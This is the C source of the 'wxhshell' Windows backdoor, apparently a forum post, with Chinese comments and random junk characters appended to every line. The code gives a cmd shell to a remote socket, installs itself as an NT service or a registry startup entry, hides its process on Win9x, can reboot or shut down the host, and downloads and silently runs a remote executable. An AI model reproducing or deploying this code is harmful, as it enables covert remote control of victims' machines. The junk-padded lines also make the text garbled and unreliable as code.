    break; ,[x'S>N  
  } q7;)&_'  
  // 安装 ,70|I{,Km  
  case 'i': { .R1)i-^  
    if(Install()) uZNR]+Yu@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5VI'hxU4Qg  
    else +VJl#sc/;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qdOS=7]W  
    break; W[YtNL;  
    } czj[U|eB}=  
  // 卸载 4):\,>%pK  
  case 'r': { Uc&0>_Z  
    if(Uninstall()) #M:W?&.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^E9@L ??  
    else :Q%&:[2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mU*GcWbc+  
    break; ? in&/ZrB  
    } P iN3t]2  
  // 显示 wxhshell 所在路径 #2}S83 k  
  case 'p': { :ZUy(8%Wl  
    char svExeFile[MAX_PATH]; /];F4AO5  
    strcpy(svExeFile,"\n\r"); )2a!EEHz  
      strcat(svExeFile,ExeFile); 7BC9cS(0w9  
        send(wsh,svExeFile,strlen(svExeFile),0); i"-j:b:c<  
    break; -Iq#h)Q*  
    } twJck~l~n  
  // 重启 Ys\l[$_`*  
  case 'b': { ,[A} 86  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); JO _a+Yl  
    if(Boot(REBOOT)) 5~qr+la  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Si;e_a  
    else { zdY`c  
    closesocket(wsh); +q3W t|  
    ExitThread(0); hM;EUWv  
    } 0j3j/={|.1  
    break; 7JujU.&{6  
    } /q]WV^H  
  // 关机 @x)z" )>  
  case 'd': { :`_wy-}V  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <)M?qkjb  
    if(Boot(SHUTDOWN)) ct/I85c@P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y&iLhd!p  
    else { qoEOM%dAqV  
    closesocket(wsh); >~6 ;9{@  
    ExitThread(0); <{'':/tXI  
    } 7UMsKE-  
    break; iJ~p X\FKO  
    } ?L_#AdK  
  // 获取shell *FO']D  
  case 's': { ~Su>^T(?-  
    CmdShell(wsh); $BG9<:p  
    closesocket(wsh); p t<84CP  
    ExitThread(0); g|W~0A@D  
    break; r8@:Ko= a  
  } {D7!'Rq,  
  // 退出 pnf3YuB  
  case 'x': { }=wSfr9g  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); iXBc ~S  
    CloseIt(wsh); O^LzS&I*  
    break; 'A4Lr  
    } q+SDJ?v  
  // 离开 ~=}56yxl[  
  case 'q': { '?#e$<uS-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); H>M0G L  
    closesocket(wsh); y1P?A]v  
    WSACleanup(); ~jJu*s$?  
    exit(1); (!;4Y82#  
    break; wj Y3:S~  
        } <;= X7l+  
  } X\M0Q%8  
  } J`\%'pEn  
B~z& "`  
  // 提示信息 eE1w<] Eg  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *#~3\{  
} anv_I=  
  } G3KiU($V  
W/fM0=!  
  return; GAQVeL1  
} ~bg FU  
R9{6$djq\:  
// shell模块句柄 E-l>z%  
int CmdShell(SOCKET sock) 9erTb?@S  
{ jMgNi@  
STARTUPINFO si; >:8GU f*  
ZeroMemory(&si,sizeof(si)); ^8B#-9Ph b  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w!%Bc]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; eml(F  
PROCESS_INFORMATION ProcessInfo; yh} V u  
char cmdline[]="cmd"; aMT&}3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9Lv`3J^~  
  return 0; 7 pp[kv;!G  
} b5KX`r  
*pj&^W?  
// 自身启动模式 @eR>?.:&  
int StartFromService(void) GN(PH/fO9  
{ )R,*>-OPJL  
typedef struct s}UPe)Vu  
{ 2g|+*.*`  
  DWORD ExitStatus; Gu9Ap<>!  
  DWORD PebBaseAddress; ZCV&v47\p_  
  DWORD AffinityMask; c[ga@Vy  
  DWORD BasePriority; ~u7a50  
  ULONG UniqueProcessId; l =xy_ TCf  
  ULONG InheritedFromUniqueProcessId; Iy\K&)5?  
}   PROCESS_BASIC_INFORMATION; Xq,{)G%9nM  
h2K1|PUKl[  
PROCNTQSIP NtQueryInformationProcess; =f?|f  
u:<%!?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (7&[!PS  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %5$yz|:  
8q}`4wCD$  
  HANDLE             hProcess; <{:$ ]3  
  PROCESS_BASIC_INFORMATION pbi; & Z*&&  
, En D3 |  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {-tCLkE 3  
  if(NULL == hInst ) return 0; |G!-FmIK  
L~CwL  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |Kh#\d  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); e*=N\$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7hY~  
e&#qj^  
  if (!NtQueryInformationProcess) return 0; `TBau:ElI  
LQ373 j-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~O&3OL:L  
  if(!hProcess) return 0; Cz8=G;\  
AI/xOd!a  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #|xK> ;  
"=N[g  
  CloseHandle(hProcess); 5o'V}  
4ijoAW3A^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); cea%M3  
if(hProcess==NULL) return 0; 8?J\  
yIOoVi\m  
HMODULE hMod; G"3D"7f a  
char procName[255]; U_B"B;ng+  
unsigned long cbNeeded; S3A OT  
Ks7DoXCvE  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {H=DeQ  
l0l2fwz(  
  CloseHandle(hProcess); X70G@-w  
rK9X68)  
if(strstr(procName,"services")) return 1; // 以服务启动 IEmtt^C  
":tQYo]d  
  return 0; // 注册表启动 wk' |gI[W  
} mtvfG  
uR"(0_  
// 主模块 s: ~3|D][  
int StartWxhshell(LPSTR lpCmdLine) #0zMPh /U}  
{ ej4xW~_  
  SOCKET wsl; 3 T+#d-\  
BOOL val=TRUE; /:~mRf^  
  int port=0; _r^Cu.[7  
  struct sockaddr_in door; y?zNxk/p  
:?O+EE  
  if(wscfg.ws_autoins) Install(); 2aNCcZw0  
37Q9goMov  
port=atoi(lpCmdLine); Z4b<$t[u  
#"jEc*&=  
if(port<=0) port=wscfg.ws_port; ckHHD|  
h}nceH0s3d  
  WSADATA data; mhv{6v  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2zZ" }Zr#  
@rB!47!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   oQ{(7.e7)  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0sD"Hu  
  door.sin_family = AF_INET; [yF>W$Bn%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ep>*]'  
  door.sin_port = htons(port); 7`9J.L&,;  
WyF1Fw  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /=).)<&|R  
closesocket(wsl); }lvD 5  
return 1; G];5'd~C;d  
} 1O"7%Pvw  
dj3}Tjt  
  if(listen(wsl,2) == INVALID_SOCKET) { _3i.o$GO  
closesocket(wsl); $<xa "aN!  
return 1; vc0'x4  
} -]C3_ve  
  Wxhshell(wsl); -|"W|K?nq  
  WSACleanup(); &-mPj82R  
mI_ ?hl?Pv  
return 0; iaPrkMhd  
wi-O}*O   
} zUF%`CR  
?j6?KR@#  
// 以NT服务方式启动 yj13>"nh  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?`#)JG,A7  
{ # xx{}g]%  
DWORD   status = 0; t2Q40' `  
  DWORD   specificError = 0xfffffff; sN]O]qYXJ  
y9kydu#q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?nZQTO7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; I<PKwT/?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -HutEbkjx  
  serviceStatus.dwWin32ExitCode     = 0; jODx&dVr  
  serviceStatus.dwServiceSpecificExitCode = 0; tXDO@YH3S  
  serviceStatus.dwCheckPoint       = 0; T1sb6CT  
  serviceStatus.dwWaitHint       = 0; )4q0(O)d  
I CCmE#n  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); E`]lr[  
  if (hServiceStatusHandle==0) return; KV v0bE  
>G(M&  
status = GetLastError(); n#8N{ya5x1  
  if (status!=NO_ERROR) w7GF,a  
{  ;j|T#-.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; O{:_-eI&d  
    serviceStatus.dwCheckPoint       = 0; O4H %x  
    serviceStatus.dwWaitHint       = 0; k<x  %  
    serviceStatus.dwWin32ExitCode     = status; fbgq+f`\  
    serviceStatus.dwServiceSpecificExitCode = specificError; c 4xh  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); g b:)t }|  
    return; >T: Yp<  
  } %P05k  
6P@3UQ)}s  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8#b>4 Dx  
  serviceStatus.dwCheckPoint       = 0; $Pv;>fHu  
  serviceStatus.dwWaitHint       = 0; m/vwM"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [+dOgyK  
} t F^|,9_<  
eJD !dGa  
// 处理NT服务事件,比如:启动、停止 /|v:$iH,C  
VOID WINAPI NTServiceHandler(DWORD fdwControl) z'FD{xdf  
{ T"ors]eI  
switch(fdwControl) Twi:BI`.  
{ lW}"6@0,  
case SERVICE_CONTROL_STOP: 2O}UVp>  
  serviceStatus.dwWin32ExitCode = 0; $C@v  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1xAZ0X#  
  serviceStatus.dwCheckPoint   = 0; *tkbC2D  
  serviceStatus.dwWaitHint     = 0; 'oNY4.[  
  { rBG8.E36J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "uK`!{  
  } N]qX^RSb  
  return; $42%H#  
case SERVICE_CONTROL_PAUSE: CtItzp  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /4w"akB|P  
  break; Ck<g0o6  
case SERVICE_CONTROL_CONTINUE: MW&ww14  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; O :P%gz4  
  break; :"BZK5{8  
case SERVICE_CONTROL_INTERROGATE: V-rzn171Q)  
  break; 'fB/6[bd  
}; R?bF b|5t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &Xw{%Rg  
} 5T]GyftFV  
aDr46TB`J  
// 标准应用程序主函数 'U=D6X%V9m  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) A'(v]w  
{ U-+%e:v  
uEp v l  
// 获取操作系统版本 n$>E'oG2 t  
OsIsNt=GetOsVer(); v"x{oD$R  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;533;(d* o  
j(JUOief  
  // 从命令行安装 D4jf%7X!Lu  
  if(strpbrk(lpCmdLine,"iI")) Install(); .CXe*Vbd  
0>PO4WFVJ  
  // 下载执行文件 &Z Ja}5k!r  
if(wscfg.ws_downexe) { ?Uz7($}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 'J*)o<%  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,":l >0P[  
} %) A-zzj  
d3 h^L  
if(!OsIsNt) { i^hgs`hvU  
// 如果时win9x,隐藏进程并且设置为注册表启动 qSj$0Hq5XI  
HideProc(); p_z_d6?  
StartWxhshell(lpCmdLine); ZUE?19GA  
} ^'"sFEV7RN  
else WR;"^<i9  
  if(StartFromService()) LeY!A#j  
  // 以服务方式启动 zD8q(]: A  
  StartServiceCtrlDispatcher(DispatchTable); OW$? 6  
else "f'pa&oHi  
  // 普通方式启动 bvM\Qzc!<3  
  StartWxhshell(lpCmdLine); cZn B 2T?  
=l&A9 >\  
return 0; tF> ?]  
}
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只看该作者 1 发表于: 2006-10-10
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